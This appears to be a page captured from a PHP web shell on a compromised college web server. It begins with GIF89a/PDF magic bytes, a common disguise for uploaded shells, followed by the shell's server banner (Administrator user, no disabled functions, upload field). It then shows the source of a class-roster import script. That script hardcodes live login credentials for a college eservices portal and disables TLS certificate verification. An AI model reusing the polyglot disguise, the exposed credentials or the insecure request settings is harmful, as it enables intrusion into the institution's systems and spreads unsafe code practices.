GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/_Archive/ |
Upload File : |
<? // ClassRosterImport.phpinc debugTrackBegin(); #if (dc()) echo "<b>".__FILE__."</b><br>\n"; $js = "ClassEvaluations,openCenteredWindow,wforms"; $headTitle = '_CST_ - '.$f_courseNumber.' ClassRosterImport'; $pageTitle = '_CST_<br>'.$f_courseNumber.' ClassRosterImport'; include('common/pageHeader.phpinc'); $sectionTitle = $f_courseNumber.' Class Roster Import'; include('common/sectionHeader.phpinc'); $importURL = 'https://webproc.mnscu.edu/eservices/faculty.classroster.html?courseid='.$f_RCclassId.'&courseinfo='.$f_RCclassId.'+'.$f_courseNumber.'+'.$f_classSection.'&campusid=308'; printVar('$importURL',$importURL); #$pageContents = shell_exec("/PHP/curl/curl -L http://www.zend.com http://zend.com/developers.php http://zend.com/zend/tut/"); #printVar('$pageContents',$pageContents); /* * / $ch = curl_init(); // initialize curl handle curl_setopt($ch, CURLOPT_URL,$importURL); // set url to post to curl_setopt($ch, CURLOPT_FAILONERROR, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable curl_setopt($ch, CURLOPT_TIMEOUT, 3); // times out after 4s curl_setopt($ch, CURLOPT_POST, 1); // set POST method curl_setopt($ch, CURLOPT_POSTFIELDS, "url=index%3Dbooks&field-keywords=PHP+MYSQL"); // add POST fields $result = curl_exec($ch); // run the whole process curl_close($ch); echo $result; /* */ $pageContents = get_web_page($importURL); printVar('$pageContents',$pageContents); #echo $pageContents['content']; ?> <pre> action="/esession/login.do;jsessionid=3BC3C8B7D9E8A7D8F269A6889A204F91" $_POST['userName']=7967 $_POST['password']=***hidden*** $_POST['displayName']=on $_POST['postAuthUrl']=http://webproc.mnscu.edu/eservices/faculty.classroster.html;jsessionid=52271406DA890105D956DB8CBA6F01F3?campusid=308&courseinfo=000142 CST1511 71&courseid=000142 $_POST['viewLoginForwardName']= $_POST['rcId']=0308 </pre> <? function get_web_page($url) { #$ch = curl_init( $url ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERPWD, '7967:240555'); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_ENCODING, ""); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120); curl_setopt($ch, CURLOPT_TIMEOUT, 120); curl_setopt($ch, CURLOPT_MAXREDIRS, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); // Use cookie.txt for STORING cookies #curl_setopt($cr, CURLOPT_POST, true); // Tell curl that we are posting data #curl_setopt($cr, CURLOPT_POSTFIELDS, $data); // Post the data in the array above /* * / $options = array( CURLOPT_RETURNTRANSFER => true, // return web page CURLOPT_HEADER => false, // don't return headers CURLOPT_FOLLOWLOCATION => true, // follow redirects CURLOPT_ENCODING => "", // handle all encodings CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'], // who am i CURLOPT_AUTOREFERER => true, // set referer on redirect CURLOPT_CONNECTTIMEOUT => 120, // timeout on connect CURLOPT_TIMEOUT => 120, // timeout on response CURLOPT_MAXREDIRS => 10, // stop after 10 redirects CURLOPT_SSL_VERIFYPEER => 0, // Stop cert verify when using windows. ); curl_setopt_array( $ch, $options ); /* */ $content = curl_exec( $ch ); $err = curl_errno( $ch ); $errmsg = curl_error( $ch ); $header = curl_getinfo( $ch ); curl_close( $ch ); $header['errno'] = $err; $header['errmsg'] = $errmsg; $header['content'] = $content; return $header; } printVar('$_POST',$_POST); include('common/sectionFooter.phpinc'); ?> <script type="text/javascript"> document.form_classroster.f_classRoster.focus(); </script> <? debugTrackEnd(); ?>